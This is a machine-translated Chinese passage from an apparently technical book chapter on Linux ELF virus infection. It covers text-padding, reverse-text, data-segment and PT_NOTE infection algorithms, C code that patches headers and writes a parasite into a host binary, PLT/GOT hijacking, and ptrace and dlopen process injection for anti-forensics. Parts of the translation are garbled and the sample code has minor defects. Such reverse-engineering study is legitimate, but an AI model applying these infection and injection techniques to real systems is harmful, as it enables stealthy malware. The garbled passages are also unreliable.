寻找存储寄生代码的合法空间 - -这是编写病毒时需要回答的一个大问题:将有效载荷(病毒体)注入何处? 换句话说,在二元宿主中,寄生虫会生活在哪里? 可能性因二进制格式而异。 在`ELF`格式中,有相当多的地方可以注入代码,但是它们都需要正确调整不同的`ELF`头值。 - -挑战并不一定是寻找空间,而是调整`ELF`二进制文件以允许您使用该空间,同时使可执行文件看起来合理正常,并保持在`ELF`规范的范围内,以便它仍然能够正确地执行。 当修补二进制文件并修改其布局时,必须考虑许多事情,例如页面对齐方式、偏移量调整和地址调整。 - -### 溶液 - -在创建二进制补丁的新方法时,请仔细阅读`ELF`规范,并确保您停留在程序执行所需的范围内。 在下一节中,我们将讨论一些病毒感染的技术。 - -## 将执行控制流传递给寄生虫 - -下面是另一个常见的挑战,即是如何将宿主可执行文件的控制流传递给寄生程序。 在许多情况下,调整`ELF`文件头中的入口点以指向寄生代码就足够了。 这是可靠的,但也很明显。 如果进入点被修改为指向寄生虫,那么我们可以使用`readelf -h`看到进入点,并立即知道寄生虫代码的位置。 - -### 溶液 - -如果您不希望修改入口点地址,那么可以考虑寻找一个可以向寄生代码插入/修改分支的地方,例如插入`jmp`或重写函数指针。 一个很好的地方是`.ctors`或`.init_array`节,其中包含函数指针。 如果您不介意寄生程序在常规程序代码之后(而不是之前)执行,那么`.dtors`或`.fini_array`部分也可以工作。 - -# ELF 病毒寄生虫感染方法 - -二进制文件中只有那么多位置可以容纳代码,对于任何复杂的病毒,寄生体将至少有几千字节,并且需要增大宿主可执行文件的大小。 在`ELF`可执行文件,没有很多的代码洞穴(如 PE 格式),因此你不太可能不仅仅能把微薄的插槽 shellcode 纳入现有的代码量(如地区 0 或`NOPS`函数填充)。 - -## 西尔维奥填充感染法 - -这种感染方法是由 Silvio Cesare 在 90 年代后期提出的,并已在各种 Linux 病毒中出现,如*Brundle Fly*和 Silvio 自己产生的 POCs。 这种方法很有创意,但它将感染有效载荷限制为一个页面大小。 在 32 位 Linux 系统上,这是 4096 字节,但在 64 位系统上,可执行文件使用的大页面测量为 0x200000 字节,这允许大约 2 mb 的感染。 这种感染的方式是通过利用这样的事实:在内存中,将会有一个页面之间的填充文本段和数据段,而在磁盘上,文本和数据段是背靠背,但有人可以利用预期之间的空间段和利用作为一个区域的负载。 - -![The Silvio padding infection method](img/00007.jpeg) - -图 4.2:Silvio 填充感染布局 - -文本填充感染由西尔维奥严重详细和记录在他的 VX 天堂论文*Unix 精灵寄生虫和病毒*[(http://vxheaven.org/lib/vsc01.html),所以对于扩展阅读,务必检查出来。](http://vxheaven.org/lib/vsc01.html) - -### 算法为西尔维奥。文本感染方法 - -1. 在 ELF 文件头中将`ehdr->e_shoff`增加`PAGE_SIZE` -2. 定位文本片段`phdr`: - 1. 修改寄生虫的进入点: - - ```sh - ehdr->e_entry = phdr[TEXT].p_vaddr + phdr[TEXT].p_filesz - ``` - - 2. 增加`phdr[TEXT].p_filesz`寄生虫的长度。 - 3. 增加`phdr[TEXT].p_memsz`寄生虫的长度。 -3. 对于每一个片段在寄生虫之后的`phdr`,增加`phdr[x].p_offset``PAGE_SIZE` 字节。 -4. 在文本片段中找到最后的`shdr`,然后增加`shdr[x].sh_size`寄生虫的长度(因为这是寄生虫将存在的部分)。 -5. 寄生虫插入后存在的每`shdr`,增加`shdr[x].sh_offset``PAGE_SIZE`。 -6. Insert the actual parasite code into the text segment at (`file_base + phdr[TEXT].p_filesz`). - - ### 注意事项 - - 计算中使用原`p_filesz`值。 - - ### 提示 - - 更合理的做法是创建一个反映所有更改的新二进制文件,然后将其复制到旧二进制文件上。 这就是我插入寄生代码的意思:重写包含寄生代码的新二进制文件。 - -ELF 病毒实现这种感染技术的一个很好的例子是我在 2008 年编写的*lpv*病毒。 为了提高效率,我将不在这里粘贴代码,但是可以在[http://www.bitlackeys.org/projects/lpv.c](http://www.bitlackeys.org/projects/lpv.c)中找到。 - -### 一个文本段填充感染的例子 - -一个文本段填充感染(也称为 Silvio 感染)可以通过一些示例代码来最好地演示,在这里我们看到如何在插入实际的寄生虫代码之前正确地调整 ELF 头。 - -#### 调整 ELF 头 - -```sh -#define JMP_PATCH_OFFSET 1 // how many bytes into the shellcode do we patch -/* movl $addr, %eax; jmp *eax; */ -char parasite_shellcode[] = - "\xb8\x00\x00\x00\x00" - "\xff\xe0" -; - -int silvio_text_infect(char *host, void *base, void *payload, size_t host_len, size_t parasite_len) -{ - Elf64_Addr o_entry; - Elf64_Addr o_text_filesz; - Elf64_Addr parasite_vaddr; - uint64_t end_of_text; - int found_text; - - uint8_t *mem = (uint8_t *)base; - uint8_t *parasite = (uint8_t *)payload; - - Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem; - Elf64_Phdr *phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff]; - Elf64_Shdr *shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff]; - - /* - * Adjust program headers - */ - for (found_text = 0, i = 0; i < ehdr->e_phnum; i++) { - if (phdr[i].p_type == PT_LOAD) { - if (phdr[i].p_offset == 0) { - - o_text_filesz = phdr[i].p_filesz; - end_of_text = phdr[i].p_offset + phdr[i].p_filesz; - parasite_vaddr = phdr[i].p_vaddr + o_text_filesz; - - phdr[i].p_filesz += parasite_len; - phdr[i].p_memsz += parasite_len; - - for (j = i + 1; j < ehdr->e_phnum; j++) - if (phdr[j].p_offset > phdr[i].p_offset + o_text_filesz) - phdr[j].p_offset += PAGE_SIZE; - - } - break; - } - } - for (i = 0; i < ehdr->e_shnum; i++) { - if (shdr[i].sh_addr > parasite_vaddr) - shdr[i].sh_offset += PAGE_SIZE; - else - if (shdr[i].sh_addr + shdr[i].sh_size == parasite_vaddr) - shdr[i].sh_size += parasite_len; - } - - /* - * NOTE: Read insert_parasite() src code next - */ - insert_parasite(host, parasite_len, host_len, - base, end_of_text, parasite, JMP_PATCH_OFFSET); - return 0; -} -``` - -#### 插入寄生代码 - -```sh -#define TMP "/tmp/.infected" - -void insert_parasite(char *hosts_name, size_t psize, size_t hsize, uint8_t *mem, size_t end_of_text, uint8_t *parasite, uint32_t jmp_code_offset) -{ -/* note: jmp_code_offset contains the -* offset into the payload shellcode that -* has the branch instruction to patch -* with the original offset so control -* flow can be transferred back to the -* host. -*/ - int ofd; - unsigned int c; - int i, t = 0; - open (TMP, O_CREAT | O_WRONLY | O_TRUNC, S_IRUSR|S_IXUSR|S_IWUSR); - write (ofd, mem, end_of_text); - *(uint32_t *) ¶site[jmp_code_offset] = old_e_entry; - write (ofd, parasite, psize); - lseek (ofd, PAGE_SIZE - psize, SEEK_CUR); - mem += end_of_text; - unsigned int sum = end_of_text + PAGE_SIZE; - unsigned int last_chunk = hsize - end_of_text; - write (ofd, mem, last_chunk); - rename (TMP, hosts_name); - close (ofd); -} -``` - -### 以上函数的使用示例 - -```sh -uint8_t *mem = mmap_host_executable("./some_prog"); -silvio_text_infect("./some_prog", mem, parasite_shellcode, parasite_len); -``` - -### LPV 病毒 - -LPV 病毒使用 Silvio 填充感染,是为 32 位 Linux 系统设计的。 可以在[http://www.bitlackeys.org/#lpv](http://www.bitlackeys.org/#lpv)下载。 - -### 西尔维奥填充物感染用例 - -讨论的西尔维奥填充感染方法是非常受欢迎的,并已作为这样使用了很多。 正如前面提到的,在 32 位 UNIX 系统上实现该方法只需要 4,096 个字节。 在使用大页面的较新系统上,这种感染方法具有更大的潜力,并且允许更大的感染(高达 0x200000 字节)。 我个人使用过这种方法来处理寄生虫感染和可重定位代码注入,不过我已经放弃了它,转而使用反向文本感染方法,我们将在接下来讨论。 - -## 反向文本感染 - -这种感染背后的这个想法最初是由 Silvio 在他的 UNIX 病毒论文中提出的,但是它没有提供一个工作的 POC。 我已经扩展成一个算法,用于各种精灵窃听项目,包括我的软件保护产品*玛雅人的面纱,这是在[讨论 http://www.bitlackeys.org/玛雅](http://www.bitlackeys.org/#maya)。* - - *这种方法的前提是反向扩展文本段。 这样做时,文本的虚拟地址将减少`PAGE_ALIGN`(`parasite_size`)。 由于现代 Linux 系统上允许的最小虚拟映射地址(根据`/proc/sys/vm/mmap_min_addr`)是 0x1000,所以文本虚拟地址只能向后扩展那么远。 幸运的是,由于 64 位系统上的默认文本虚拟地址通常是 0x400000,这就为 0x3ff000 字节(准确地说,减去另一个`sizeof(ElfN_Ehdr)`字节)留下了空间。 - -计算主机可执行文件的最大寄生大小的完整公式如下: - -```sh -max_parasite_length = orig_text_vaddr - (0x1000 + sizeof(ElfN_Ehdr)) -``` - -### 注意事项 - -在 32 位系统上,默认的文本虚拟地址是 0x08048000,这为比 64 位系统上更大的寄生虫留下了空间: - -```sh -(0x8048000 - (0x1000 + sizeof(ElfN_Ehdr)) = (parasite len)134508492 -``` - -![The reverse text infection](img/00008.jpeg) - -图 4.3:反向文本感染布局 - -对于这个`.text`感染,有几个吸引人的特性:它不仅允许非常大的代码注入,而且还允许进入点仍然指向`.text`部分。 虽然我们必须修改入口点,但它仍将指向实际的`.text`部分,而不是另一个部分,如`.jcr`或`.eh_frame`,这将立即看起来很可疑。 插入点在文本中,所以它是可执行的(就像 Silvio 填充感染一样)。 这避免了数据段感染,后者允许无限的插入空间,但需要在启用 nx 位的系统上更改段权限。 - -### 反文本感染算法 - -### 注意事项 - -这将引用`PAGE_ROUND(x)`宏,并将整数舍入到下一个 PAGE 对齐值。 - -1. `ehdr->e_shoff`增加`PAGE_ROUND(parasite_len)` -2. 查找文本片段`phdr`,保存原文`p_vaddr`: - 1. 将`p_vaddr`减少`PAGE_ROUND(parasite_len)`。 - 2. 将`p_paddr`减少`PAGE_ROUND(parasite_len)`。 - 3. 将`p_filesz`增加`PAGE_ROUND(parasite_len)`。 - 4. 将`p_memsz`增加`PAGE_ROUND(parasite_len)`。 -3. 找到每个`p_offset`大于文本`p_offset`的`phdr`,并将`p_offset`增加`PAGE_ROUND(parasite_len);`,这将使它们全部向前移动,为反向文本扩展腾出空间。 -4. 设置`ehdr->e_entry`为: - - ```sh - orig_text_vaddr – PAGE_ROUND(parasite_len) + sizeof(ElfN_Ehdr) - ``` - -5. 将`ehdr->e_phoff`增加`PAGE_ROUND(parasite_len)`。 -6. 通过创建一个新的二进制文件来插入实际的寄生代码,以反映所有这些更改,并将新的二进制文件复制到旧的二进制文件上。 - -一个完整的反文本感染方法的例子可以在我的网站[http://www.bitlackeys.org/projects/text-infector.tgz](http://www.bitlackeys.org/projects/text-infector.tgz)找到。 - -逆向文本感染的一个更好的例子是 Skeksi 病毒,可以从本章前面提供的链接下载。 这里也提供了一套完整的消毒方案来治疗这种类型的感染: - -[http://www.bitlackeys.org/projects/skeksi_disinfect.c](http://www.bitlackeys.org/projects/skeksi_disinfect.c)。 - -## 数据段感染 - -在没有 NX 位设置的系统上,例如 32 位 Linux 系统,可以执行数据段中的代码(即使它的权限是 R+W),而无需更改段权限。 这是感染文件的一种非常好的方式,因为它为寄生虫留下了无限的空间。 我们可以简单地将寄生代码附加到数据段中。 唯一需要注意的是,您必须为`.bss`部分留出空间。 `.bss`节不占用磁盘空间,但在运行时为未初始化的变量在数据段的末尾分配空间。 通过从数据段的`phdr->p_memsz`中减去数据段的`phdr->p_filesz`,可以得到`.bss`段在内存中的大小。 - -![Data segment infections](img/00009.jpeg) - -图 4.4:数据段感染 - -### 数据段感染算法 - -1. 增加寄生虫大小`ehdr->e_shoff` -2. 定位数据段`phdr`: - 1. 修改`ehdr->e_entry`以指向寄生虫代码的位置: - - ```sh - phdr->p_vaddr + phdr->p_filesz - ``` - - 2. 增加`phdr->p_filesz`寄生虫的大小。 - 3. 增加`phdr->p_memsz`寄生虫的大小。 -3. 调整`.bss`节头,使其偏移量和地址反映寄生体的结束位置。 -4. Set executable permissions on data segment: - - ```sh - phdr[DATA].p_flags |= PF_X; - ``` - - ### 注意事项 - - 步骤 4 只适用于设置了 NX(非可执行页面)位的系统。 在 32 位 Linux 上,为了执行代码,数据段不需要被标记为可执行文件,除非像 PaX([https://pax.grsecurity.net/](https://pax.grsecurity.net/))这样的东西被安装在内核中。 - -5. 可选地,添加一个带有假名称的 section 头来解释您的寄生代码。 否则,如果有人运行`/usr/bin/strip `,它将完全删除寄生代码,如果它没有被一个部分解释的话。 -6. 通过创建一个反映更改并包含寄生代码的新二进制文件来插入寄生代码。 - -数据段感染适用于不一定是特定于病毒的场景。 例如,在编写封装器时,将加密的可执行文件存储在存根可执行文件的数据段中通常是有用的。 - -# PT_NOTE 到 PT_LOAD 转换感染方法 - -这个方法非常强大,虽然很容易检测到,但也相对容易实现并提供可靠的代码插入。 其思想是将`PT_NOTE`片段转换为`PT_LOAD`类型,并移动其位置以追赶所有其他片段。 当然,您也可以通过创建一个`PT_LOAD phdr`条目来创建一个全新的段,但是由于程序仍然在没有`PT_NOTE`段的情况下执行,所以您也可以将其转换为`PT_LOAD`。 我个人并没有针对病毒实现这种技术,但我在 Quenya v0.1 中设计了一个特性,允许您添加一个新的段。 我还分析了日本编写的 Retaliation Linux 病毒,它就是用这种方法感染的: - -[http://www.bitlackeys.org/#retaliation](http://www.bitlackeys.org/#retaliation)。 - -![The PT_NOTE to PT_LOAD conversion infection method](img/00010.jpeg) - -图 4.5:PT_LOAD 感染 - -对于`PT_LOAD`感染没有严格的规定。 正如这里提到的,您可以将`PT_NOTE`转换为`PT_LOAD`或创建一个全新的`PT_LOAD``phdr`和片段。 - -## PT_NOTE 到 PT_LOAD 转换感染的算法 - -1. 定位数据片段`phdr`: - 1. 查找数据段结束的地址: - - ```sh - ds_end_addr = phdr->p_vaddr + p_memsz - ``` - - 2. 查找数据段末尾的文件偏移量: - - ```sh - ds_end_off = phdr->p_offset + p_filesz - ``` - - 3. 获取可加载片段的对齐大小: - - ```sh - align_size = phdr->p_align - ``` - -2. 定位`PT_NOTE`phdr: - 1. 转换 phdr 为 PT_LOAD: - - ```sh - phdr->p_type = PT_LOAD; - ``` - - 2. 赋给它这个起始地址: - - ```sh - ds_end_addr + align_size - ``` - - 3. 给它分配一个大小来反映你的寄生虫代码的大小: - - ```sh - phdr->p_filesz += parasite_size - phdr->p_memsz += parasite_size - ``` - -3. 使用`ehdr->e_shoff += parasite_size`来说明新的片段。 -4. 通过编写一个新的二进制代码来反映 ELF 报头的变化和新的段,从而插入寄生的代码。 - -### 注意事项 - -记住,section 头表在寄生段之后,因此有`ehdr->e_shoff += parasite_size`。 - -# 感染控制流程 - -在前一节中,我们检查了方法,在这些方法中,可以将寄生代码引入二进制文件,然后通过修改受感染程序的入口点来执行。 至于在二进制文件中引入新代码,这些方法工作得非常出色; 事实上,它们非常适合二进制补丁,无论是出于合法的工程原因还是针对病毒。 在许多情况下,修改入口点也相当合适,但它远不是隐形的,在某些情况下,您可能不希望在入口时执行寄生代码。 也许你的寄生代码是一个单一的函数,你感染了一个二进制文件,你只希望这个函数被调用,作为它感染的二进制文件中的另一个函数的替代; 这被称为函数劫持。 当打算采用更复杂的感染策略时,我们必须了解 ELF 程序中所有可能的感染点。 这是事情开始变得真正有趣的地方。 让我们来看看许多常见的 ELF 二进制感染点: - -![Infecting control flow](img/00011.jpeg) - -图 4.6:ELF 感染点 - -如上图中的所示,在 ELF 程序中还有其他六个主要区域可以被操纵以以某种方式修改行为。 - -## 直接 PLT 感染 - -不要将与 PLT/GOT(有时也称为 PLT 挂钩)混淆。 PLT(过程链接表)和 GOT(全局偏移表)在动态链接和共享库函数调用期间在连接中紧密工作。 不过,它们是两个独立的部分。 我们在第二章*ELF 二进制格式*的*Dynamic linking*章节中了解到。 快速回顾一下,PLT 包含每个共享库函数的一个条目。 每个条目包含对存储在 GOT 中的目标地址执行间接`jmp`的代码。 一旦动态链接过程完成,这些地址最终指向它们相关联的共享库函数。 通常,攻击者可以覆盖包含指向他或她的代码的地址的 GOT 条目。 这很实用,因为它是最简单的; GOT 是可写的,只需修改它的地址表就可以更改控制流。 当讨论直接 PLT 感染时,我们并不是指修改 GOT。 我们讨论的实际上是修改 PLT 代码,以便它包含一个改变控制流的不同指令。 - -以下是`libc fopen()`函数的 PLT 条目的代码: - -```sh -0000000000402350 : - 402350: ff 25 9a 7d 21 00 jmpq *0x217d9a(%rip) # 61a0f0 - 402356: 68 1b 00 00 00 pushq $0x1b - 40235b: e9 30 fe ff ff jmpq 402190 <_init+0x28> -``` - -注意,第一个指令是一个间接跳转。 指令有 6 个字节长:这可以很容易地用另一个 5 / 6 字节指令替换,该指令将控制流更改为寄生代码。 考虑以下说明: - -```sh -push $0x000000 ; push the address of parasite code onto stack -ret ; return to parasite code -``` - -这些指令被编码为`\x68\x00\x00\x00\x00\xc3`,它可以被注入到 PLT 入口中,用一个寄生函数(不管它是什么)劫持所有`fopen()`调用。 由于`.plt`段位于文本段中,所以它是只读的,因此此方法不能作为利用漏洞(如`.got`覆盖)的技术,但它绝对有可能通过病毒或内存感染实现。 - -## 功能蹦床 - -这种类型的感染当然属于最后一类直接 PLT 感染,但具体来说,让我来描述一下传统功能蹦床通常指的是什么, 它是用某种类型的分支指令覆盖函数代码的前 5 到 7 个字节,以改变控制流: - -```sh -movl $, %eax --- encoded as \xb8\x00\x00\x00\x00\xff\xe0 -jmp *%eax -push $ --- encoded as \x68\x00\x00\x00\xc3 -ret -``` - -然后调用寄生函数,而不是预期的函数。 如果寄生函数需要调用原始函数(这是通常的情况),那么寄生函数的工作就是用原始指令替换原始函数中的 5 到 7 个字节,调用它,然后将蹦床代码复制回原位。 此方法既可以应用于实际二进制文件本身,也可以应用于内存中。 这种技术通常用于劫持内核函数,尽管它在多线程环境中不是很安全。 - -## 覆盖.ctors/。 井底扭矩函数指针 - -这个方法是,实际上是在本章前面讨论将执行的控制流导向寄生代码时提到的挑战。 为了完整起见,我将简要介绍一下:大多数可执行文件都是通过链接到`libc`来编译的,因此`gcc`包括`glibc`已编译可执行文件和共享库中的初始化代码。 `.ctors`和`.dtors`部分(有时称为`.init_array`和`.fini_array`)包含指向初始化或终结代码的函数指针。 `.ctors/.init_array`函数指针在`main()`被调用之前被触发。 这意味着可以通过使用正确的地址覆盖其中一个函数指针来将控制权转移给它们的病毒或寄生代码。 `.dtors/.fini_array`函数指针直到`main()`之后才被触发,这在某些情况下是需要的。 例如,某些堆溢出漏洞(例如,*从前自由【t16.1】:[http://phrack.org/issues/57/9.html](http://phrack.org/issues/57/9.html))导致允许攻击者编写四个字节到任何位置,并且经常将覆盖`.dtors`函数指针的地址指向 shellcode。 在大多数病毒或恶意软件作者的情况下,`.ctors/.init_array`函数指针通常是目标,因为通常希望在程序的其余部分之前让寄生代码运行。* - -## GOT -全局偏移表中毒或 PLT/GOT 重定向 - -也被称为 PLT/GOT 感染,GOT 中毒可能是劫持共享库函数的最佳方式。 它相对的简单,并且允许攻击者很好地利用 GOT,它是一个指针表。 由于我们已经在[第二章](2.html#I3QM1-1d4163ae11644cc2802846625b2dc985 "Chapter 2. The ELF Binary Format"),*ELF 二进制格式*的动态链接部分深入讨论了 GOT,所以我不再详细说明它的目的。 这种技术可以通过直接感染二进制文件的 GOT 或直接在内存中执行来应用。 在内存中有一篇关于这样做,我 2009 年写的名为【显示】现代精灵运行时通过了中毒感染在[http://vxheaven.org/lib/vrn00.html](http://vxheaven.org/lib/vrn00.html),这解释了如何做到这一点在运行时过程中感染,还提供了一种技术,可用于绕过安全限制 PaX。 - -## 感染数据结构 - -可执行文件的数据段包含全局变量、函数指针和结构。 这打开了一个与特定可执行文件隔离的攻击向量,因为每个程序在数据段中都有不同的布局:不同的变量、结构、函数指针等等。 尽管如此,如果攻击者知道布局,可以通过重写函数指针和其他数据来操纵它们,以改变可执行文件的行为。 一个很好的例子是 data/`.bss`缓冲区溢出漏洞。 正如我们在[第二章](2.html#I3QM1-1d4163ae11644cc2802846625b2dc985 "Chapter 2. The ELF Binary Format"),*ELF 二进制格式*中学到的,`.bss`在运行时(在数据段的末尾)分配,并且包含未初始化的全局变量。 如果有人能够溢出缓冲区,该缓冲区包含一个路径到正在执行的可执行文件,然后可以控制哪个可执行文件将被运行。 - -## 函数指针覆盖 - -这种技术实际上属于最后一种(感染数据结构),也属于与`.ctors/.dtors`函数指针覆盖有关的一种。 为了完整起见,我将它列为自己的技术,但本质上,这些指针将在数据段和`.bss`(初始化/未初始化静态数据)中。 正如我们已经讨论过的,可以重写函数指针来更改控制流,使其指向寄生体。 - -# 进程内存病毒和 rootkit -远程代码注入技术 - -到目前为止,我们已经介绍了用寄生代码感染 ELF 二进制文件的基本原理,这足以让您忙碌至少几个月的编码和实验。 不过,如果不深入讨论如何感染进程内存,本章就不完整。 我们得知,一个程序在内存中比在磁盘上并没有太大的区别,我们可以访问和操作运行程序`ptrace`系统调用,如[第三章所示](3.html#PNV61-1d4163ae11644cc2802846625b2dc985 "Chapter 3. Linux Process Tracing"),*Linux 进程跟踪*。 进程感染比二进制感染隐蔽得多,因为它们不会修改磁盘上的任何东西。 因此,进程内存感染通常是试图击败法医分析。 我们刚才讨论的所有 ELF 感染点都与进程感染有关,尽管注入实际的寄生虫代码与使用 ELF 二进制代码不同。 由于它在内存中,我们必须将寄生代码放入内存中,这可以通过使用`PTRACE_POKETEXT`直接注入它(重写现有代码)来完成,或者更理想的是通过注入 shell 代码来创建一个新的内存映射来存储代码。 这就是共享库注入之类的东西发挥作用的地方。 在本章的其余部分,我们将讨论一些远程代码注入(将代码注入到另一个进程)的方法。 - -## 共享库注入- so 注入/ET_DYN 注入 - -此技术可以用于将共享库(无论是否恶意)注入到现有进程的地址空间中。 一旦注入了库,您可以使用前面描述的感染点之一,通过 PLT/GOT 重定向、函数蹦床等将控制流重定向到共享库。 挑战在于将共享库引入进程中,这可以通过多种方式实现。 - -## .so 注入 LD_PRELOAD - -我们是否真的可以调用这个方法来注入共享库到进程中是有争议的,因为它不能在现有进程中工作,而是在程序执行时加载共享库。 这是通过设置`LD_PRELOAD`环境变量来实现的,以便在加载任何其他共享库之前加载所需的共享库。 这是一种快速测试后续技术(如 PLT/GOT 重定向)的好方法,但它不是隐形的,而且对现有的流程不起作用。 - -### 插图 4.7 -使用 LD_PRELOAD 注入 wicked.so.1 - -```sh -$ export LD_PRELOAD=/tmp/wicked.so.1 - -$ /usr/local/some_daemon - -$ cp /lib/x86_64-linux-gnu/libm-2.19.so /tmp/wicked.so.1 - -$ export LD_PRELOAD=/tmp/wicked.so.1 - -$ /usr/local/some_daemon & - -$ pmap `pidof some_daemon` | grep 'wicked' - -00007ffaa731e000 1044K r-x-- wicked.so.1 - -00007ffaa7423000 2044K ----- wicked.so.1 - -00007ffaa7622000 4K r---- wicked.so.1 - -00007ffaa7623000 4K rw--- wicked.so.1 -``` - -如您所见,我们的共享库`wicked.so.1`被映射到进程地址空间。 业余爱好者倾向于使用这种技术来创建劫持`glibc`功能的小用户域 rootkit。 这是因为预加载的库将优先于任何其他的共享库,所以如果你的名字你的函数一样`glibc``open()`或`write()`等功能(这是由于包装),那么你的预加载的库版本的函数将执行并不是真正的`open()` 和`write()`。 这是一种廉价而肮脏的劫持`glibc`函数的方法,如果攻击者希望保持隐蔽,就不应该使用这种方法。 - -## so injection with open()/mmap() shellcode - -这是一种任何文件(包括共享库)加载到进程地址空间的注射 shellcode(使用`ptrace`)到现有过程的文本段,然后执行它执行`open/mmap`一个共享库到流程中。 我们在[第 3 章](3.html#PNV61-1d4163ae11644cc2802846625b2dc985 "Chapter 3. Linux Process Tracing"),*Linux 进程跟踪*中演示了这一点,我们的`code_inject.c`示例将一个非常简单的可执行文件加载到进程中。 同样的代码也可以用来加载共享库。 这种技术的问题是,您想要注入的大多数共享库都需要重新定位。 `open()/mmap()`函数只会将文件加载到内存中,但不会处理代码重定位,所以大多数你想要加载的共享库都不能正确执行,除非它是完全独立于位置的代码。 此时,您可以选择手动处理重定位,方法是解析共享库的重定位并使用`ptrace()`将它们应用到内存中。 幸运的是,存在一个更简单的解决方案,我们将在下面讨论。 - -## 使用 dlopen() shellcode .so 注入 - -`dlopen()`函数用于动态加载可执行文件最初没有链接到的共享库。 开发人员经常使用这种方法以共享库的形式为他们的应用创建插件。 一个程序可以调用`dlopen()`来动态加载一个共享库,它实际上调用动态链接器来为您执行所有的重定位。 但是有一个问题:大多数进程都没有可用的`dlopen()` ,因为它存在于`libdl.so.2`中,而且程序必须显式地链接到`libdl.so.2`才能调用`dlopen()`。 幸运的是,对此也有一个解决方案:几乎每个程序在默认情况下都有`libc.so`映射到进程地址空间(除非它被显式地编译),并且`libc.so`有一个等价于`dlopen()`的`__libc_dlopen_mode()`。 这个函数的使用方式几乎完全相同,但它需要设置一个特殊的标志: - -```sh -#define DLOPEN_MODE_FLAG 0x80000000 -``` - -这并不是什么障碍。 但在使用`__libc_dlopen_mode()`之前,您必须首先解决它通过远程的基地地址`libc.so`在这个过程中你想传染,解决的象征`__libc_dlopen_mode()`,然后添加符号价值`st_value`(参考第二章[【病人】,*精灵二进制格式)的基地址`libc``__libc_dlopen_mode()`的最终地址。 然后,你可以用 C 语言设计一些 shell 代码或汇编,调用`__libc_dlopen_mode()`将你的共享库加载到进程中,完全重定位并准备好执行。 然后,可以使用`__libc_dlsym()`函数来解析共享库中的符号。 有关使用`dlopen()`和`dlsym()`的更多细节,请参阅`dlopen`手册页。*](2.html#I3QM1-1d4163ae11644cc2802846625b2dc985 "Chapter 2. The ELF Binary Format") - - *### 图 4.8 - C 代码调用 __libc_dlopen_mode() - -```sh -/* Taken from Saruman's launcher.c */ -#define __RTLD_DLOPEN 0x80000000 //glibc internal dlopen flag -#define __BREAKPOINT__ __asm__ __volatile__("int3"); -#define __RETURN_VALUE__(x) __asm__ __volatile__("mov %0, %%rax\n" :: "g"(x)) - -__PAYLOAD_KEYWORDS__ void * dlopen_load_exec(const char *path, void *dlopen_addr) -{ - void * (*libc_dlopen_mode)(const char *, int) = dlopen_addr; - void *handle; handle = libc_dlopen_mode(path, __RTLD_DLOPEN|RTLD_NOW|RTLD_GLOBAL); - __RETURN_VALUE__(handle); - __BREAKPOINT__; -} -``` - -值得注意的是,`dlopen()`也将加载 PIE 可执行文件。 这意味着您可以将一个完整的程序注入到一个进程中并运行它。 实际上,您可以在单个进程中运行任意多的程序。 这是一种令人难以置信的反取证技术,当使用线程注入时,您可以同时运行它们,以便它们在同时执行。 Saruman 是我设计的一个 PoC 软件。 它使用两种可能的注射方法:手动复位的`open()/mmap()`方法或`__libc_dlopen_mode()`方法。 这可以在我的网站[http://www.bitlackeys.org/#saruman](http://www.bitlackeys.org/#saruman)上找到。 - -## ,故注射 VDSO 操作 - -这是我在论文[http://vxheaven.org/lib/vrn00.html](http://vxheaven.org/lib/vrn00.html)中讨论的一项技术。 其思想是操作**虚拟动态共享对象**(**VDSO**),该对象被映射到 Linux 内核版本 2.6.x 以来的每个进程地址空间中。 VDSO 包含加速系统调用的代码,它们可以直接从 VDSO 调用。 诀窍是通过使用`PTRACE_SYSCALL`来定位调用系统调用的代码,该代码一旦落在此代码上就会中断。 然后,攻击者可以加载带有所需系统调用号的`%eax/%rax`,并按照 Linux x86 系统调用的适当调用约定将参数存储在其他寄存器中。 这非常简单,可以调用`open()/mmap()`方法,而不需要注入任何 shell 代码。 这对于绕过 PaX 很有用,PaX 阻止用户向文本段注入代码。 我推荐阅读我的论文,以获得关于该技术的完整论文。 - -## 文本段代码注入 - -这是一种简单的技术,除了注入 shell 代码外,它在任何情况下都不是很有用,一旦 shell 代码完成执行,这些代码就会被原始代码替换。 希望直接修改文本段的另一个原因是创建函数 trampolines(我们在本章前面讨论过),或者直接修改`.plt`代码。 不过,就代码注入而言,最好是将代码加载到进程中,或者创建一个新的可以存储代码的内存映射:否则,文本段很容易被检测到正在修改。 - -## 可执行注入 - -正如前面提到的,`dlopen()`能够将 PIE 可执行文件加载到进程中,我甚至还包含了一个到 Saruman 的链接,这是一个巧妙的软件,允许您在现有进程中运行程序,以实现反取证措施。 但是注入`ET_EXEC`类型的可执行文件呢? 这种类型的可执行文件不提供任何重定位信息,除了动态链接的`R_X86_64_JUMP_SLOT/R_386_JUMP_SLOT`重定位类型。 这意味着在现有流程中注入常规可执行程序最终是不可靠的,特别是在注入更复杂的程序时。 尽管如此,我还是创建了一个使用这种技术的 PoC**elfdemon**,它将可执行文件映射到一些不与主机进程可执行映射冲突的新映射。 然后,它劫持控制(与允许并发执行的 Saruman 不同),并在完成运行后将控制传递回主机进程。 一个例子可以在[http://www.bitlackeys.org/projects/elfdemon.tgz](http://www.bitlackeys.org/projects/elfdemon.tgz)中找到。 - -## 可重定位代码注入——ET_REL 注入 - -这个方法非常相似共享库注入但不兼容【显示】与`dlopen(). ET_REL`(`.o`文件)是浮动的代码,就像`ET_DYN` (`.so`文件),但他们并不意味着作为单独文件执行; 它们的目的是链接到一个可执行程序或一个共享库,如[第 2 章](2.html#I3QM1-1d4163ae11644cc2802846625b2dc985 "Chapter 2. The ELF Binary Format"),*ELF 二进制格式*中所述。 然而,这并不意味着我们不能注入它们、重新定位它们和执行它们的代码。 这可以通过使用前面描述的任何技术来完成,除了`dlopen()`。 因此,`open/mmap`就足够了,但需要您手动处理重定位,这可以使用`ptrace`来完成。 在[第二章](2.html#I3QM1-1d4163ae11644cc2802846625b2dc985 "Chapter 2. The ELF Binary Format")、*ELF 二进制格式*中,我们给出了在我所设计的软件**Quenya**中一个移位代码的例子。 这演示了在将重定位注入可执行文件时如何处理目标文件中的重定位。 同样的原则也可以用于将一个元素注入到流程中。 - -# ELF 防调试和包装技术 - -在下一章,*Breaking ELF Software Protection*中,我们将讨论软件加密和打包 ELF 可执行文件的细节。 病毒和恶意软件通常是加密的,或者是用某种类型的保护机制打包的,这些保护机制还包括反调试技术,使得分析二进制文件非常困难。 在没有给出一个完整的注释的主题,这里是一些常见的反调试的 ELF 二进制保护措施,通常用于包装恶意软件。 - -## PTRACE_TRACEME 技术 